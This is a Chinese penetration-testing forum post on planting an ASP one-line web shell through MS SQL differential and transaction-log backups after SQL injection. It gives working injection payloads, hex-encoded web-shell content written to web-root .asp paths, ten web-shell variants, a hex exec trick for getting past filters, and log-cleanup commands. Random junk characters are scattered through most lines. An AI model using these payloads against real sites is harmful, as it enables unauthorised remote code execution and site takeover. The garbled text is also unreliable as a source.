中国网络渗透测试联盟

标题: MSsql差异备份总结 [打印本页]

作者: admin    时间: 2012-9-13 17:21
标题: MSsql差异备份总结
差异备份的流程大概这样:
1 X3 N; V9 z6 }; o  d; {! v1.完整备份一次(保存位置当然可以改)
. r& L0 w# E) pbackup database 库名 to disk = 'c:\ddd.bak';--4 D7 r0 O1 J6 Q: b6 B  f( A

' O" W+ v5 V( `) F- L2.创建表并插曲入数据' u! Z- C8 N  q) }$ ]/ o6 b; L- ]
create table [dbo].[dtest] ([cmd] [image]);* Q  O+ D/ G8 H- Q
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
% v+ }! q3 U+ p; |5 r, e+ y
+ Q. U* ^) D" f! b! X7 F7 j3.进行差异备份
5 e, `3 y# V7 T& V4 G( F: Abackup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--' g% Y3 t# e: E; n; v
, o! k; g6 x6 w6 j6 v0 |: @
上面% }. \2 F) N7 }1 f
0x3C25657865637574652872657175657374282261222929253E
  O/ ?9 ]: r4 y" ?$ s7 a就是一句话木马的内容:<%execute(request("a"))%>3 r$ T6 Z% `4 w# r) @7 t# H
, A; o9 h2 R  i- k+ G- H
如下是网上常见的差异备份代码,思路一样!
6 V* w- v9 `# `4 r; I- V9 k- g" O===================================================
4 g: P3 s' B3 J0 s# P! W利用差异备份提高提高backupwebshell的成功率,减少文件大小9 @, Z' m8 U# z  j  F7 d: g8 P
步骤:
+ |  A; a6 R: r; l
- C' o' W9 e/ j8 ?1 Pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  --备份数据库; S/ k0 Q2 K3 t9 Z+ I( K
. j/ J: B; ^, h
create table [dbo].[xiaolu] ([cmd] [image]);  -- 创建一个表. N: c2 t  K; B/ f+ s+ B+ p5 M$ g

" ]# j  k# n+ d* H7 s) t! s% A# N7 l! i8 Y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)  --将一句话木马的16进制字符插入到表中
8 K- W" x% Y7 ~4 }( E5 h! ]7 _) b# `4 ?! S5 S# h: g9 f6 z9 b
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT  --对数据库实行差异备份
# d$ {% Q. \8 v1 W* M* Z! C
. A; E( X- _& o: q0 P) b8 H5 Edrop table [xiaolu]  -- 删除此表。$ \1 y( d2 g' E( @' Y

% ]& b/ W2 y6 ~- @3 a0x77006F006B0061006F002E00620061006B00为wokao.bak$ L+ Y9 S' A# ~) `; O4 p
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
2 U& @3 k% j1 x5 @3 F0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp! F" `9 Q( X: Y+ f8 X

: ^& [& [  k  j# I3 H3 X7 C声明:方法不是我想的,我只是写工具,默认得到shell是
4 Q# J) O: ^* n- q<%execute(request("a"))%>
' D  \5 G% Z: U===============================================================
' g! ^; a" r2 E  N9 k5 Z) M* I& J! A: A) P
我发现上面代码,有时会无效,而直接用
. {7 n' b; ?; h6 j. }/ x+ ^% Y: z% @  N5 D
backup database 库名 to disk = 'c:\ddd.bak'
$ s8 k: E" a9 _6 X5 }8 g4 u" `$ x% A. L
create table [dbo].[dtest] ([cmd] [image]);: S8 V' s9 _0 j3 O7 w

, N) s1 s/ s5 z- Binsert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)1 T' j; V5 `# B5 V0 L. G7 w8 G

/ ^* @+ [) R- ~+ \) kbackup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--! |9 z/ Z+ W+ i
% o- \& Q- x, ~5 z
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!4 V$ S) S1 f. T9 e+ w* Z9 d
! P  J! P' t* `& B7 q  O5 K& B) A1 p$ p
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!9 S# ]% `% A* U+ E% {  s- l

: c3 p9 O( _0 G$ @8 C* A网上还有log增量备份的,我也把他记录一下
; S6 {+ H2 s; p  O4 x=====================================================; P8 N2 O- l! }6 P2 P. h  V' C" g
另一种log增量备份技术:
" i# L$ z. d4 J/ @  I
3 N# c# G6 G1 }/ j';alter database null set RECOVERY FULL--
1 v! l5 V9 m! z* Q) z8 F' \+ M- ]+ e9 O3 R6 h5 I
';create table cmd (a image)--+ T& I' f6 B9 z: K5 A6 g$ d

( I% x# K, m& d: a' {';backup log null to disk = 'f:\cmd' with init--
" q( `! p- |6 z
8 L& M1 g/ u3 ~, v7 R* A' x+ U';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
  ~) d8 W. W: R0 ^+ [( x1 I8 M$ V" v; u
';backup log null to disk = '备份路径'--
# V7 W6 o  u. j  f- {* e/ S! k9 {/ J- B! L' I
';drop table cmd--& m2 J. D0 \. E3 z

0 w( a; x  z2 @$ `';alter database XXX set RECOVERY SIMPLE--! Q* k9 X+ ]* G. S

% J. L' J* m8 ~, H5 t0 oPS:0x3C2565786563757465287265717565737428226122292; a5 ]! ^- x+ h8 g
9253EDA 是一句话小马16进制转来的
) R* G* L1 e4 ^( N4 |( q2 i9 e% }
2 V! l% _. y( C7 D) Z- P# \* Y说到一句话马,还可以有这么几种写法:1 ^. j* ~5 n2 q4 k; L' O

0 |. c5 q! v" N4 pa)<%%25Execute(request("a"))%%25>% f2 |: C! }6 X6 }0 T8 {+ `7 P2 d
b)<%Execute(request("a"))%>
$ @- r0 }' |8 ac)%><%execute request("a")%><%
- ^+ p; ~$ i. M8 Vd)<script language=VBScript runat=server>execute request("a")</script>9 a/ g1 }7 }& _
e)<%25Execute(request("a"))%25>
& u$ Z; d2 t% w1 p  S! p) E, w3 Sf)<%eval(request("a")):response.end%> 备分专用一句话   (也就是插入一句话后所有的代码都无效,在一句话这里打止)+ x4 U( y* t% _& w1 E
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
( C8 G/ Q1 j* B0 o  r- L) eh)<%On Error Resume Next:response.clear:execute request("value"):response.End%>3 @& m  A, V$ z9 S7 j# R' N+ L
I)<%eval request(0)%>* V, Q7 w% r0 b: U
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话6 |) e2 ?1 S( F; c4 E' s; [
. M1 F0 M* ^2 V* S
=============================================
$ s, n" J+ {" E7 {8 G- |
6 x* }1 `. [7 r8 I当遇到差备过滤了/时用这个语句代替
2 y7 e  `- G8 L( g' ~* L: {$ W3 a- L9 _- D
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--6 j3 t' ~) R( P
$ B" s& r- e) H* @( w" c
把要执行的语句转16进制然后用exec执行# e9 g) i' N5 c9 `. R' u2 {
% ~0 |8 @+ y+ Q2 K7 ?

0 a: \3 f# Z; ~减少备份文件大小方法如下:
9 C5 H9 i  E- H5 l4 n' Z/ P% O0 k9 B" Z
总的来说就是那么简单几句,下面以备份数据库model为例子
0 s$ a2 g, X* x9 `& P15 t/ U7 l) c( M' c! j7 _- S
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
  r5 w7 _6 `0 ]0 S2 ]! Z2  t! K8 o0 y7 y0 f3 {$ U
id=1;backup database model to disk='你的路径‘ with differential,format;--
0 c3 [8 j' ^3 ]8 U6 j$ F* [
/ Y9 V, `; y; o" _) A( B% i0 K
: k/ e& k+ f: R3 c3 a* G1 d- A. ~% n0 K5 U+ U
SQL语句清理日志
, G0 B% l, ?+ f注:test为数据库名
% @& ~2 \6 G$ f
. C9 R' x& f% g, z--清空日志 ( d2 P8 S* B" c: q
DUMP TRANSACTION test WITH NO_LOG9 O6 y0 D+ m! Z8 T6 V
; {9 ?+ l6 ^; [' B8 |
--截断事务日志
  B# y; Y2 W1 D9 w8 x) dBACKUP LOG test WITH NO_LOG ( l4 K. @* v" g" g9 b

3 q5 V% \9 |! B% X- f" B' X, k& T/ x--收缩数据库
* N. A5 L' ^5 s9 f" t5 H+ R9 `' VDBCC SHRINKDATABASE(test) ' L9 X! c- Y" i( P& n! G) z+ P
( ~; w' v* W& z+ o7 I  B% ^) b
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
$ ]+ F. s0 U/ p: L4 ISelect * from sysfiles DBCC SHRINKFILE(1)
3 f. T# v4 z' w- v+ r4 b+ B# M7 |) ^3 {. P: l
--以后能自动收缩 1 X( v9 L5 N" v( x& D; R+ n; e3 d
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2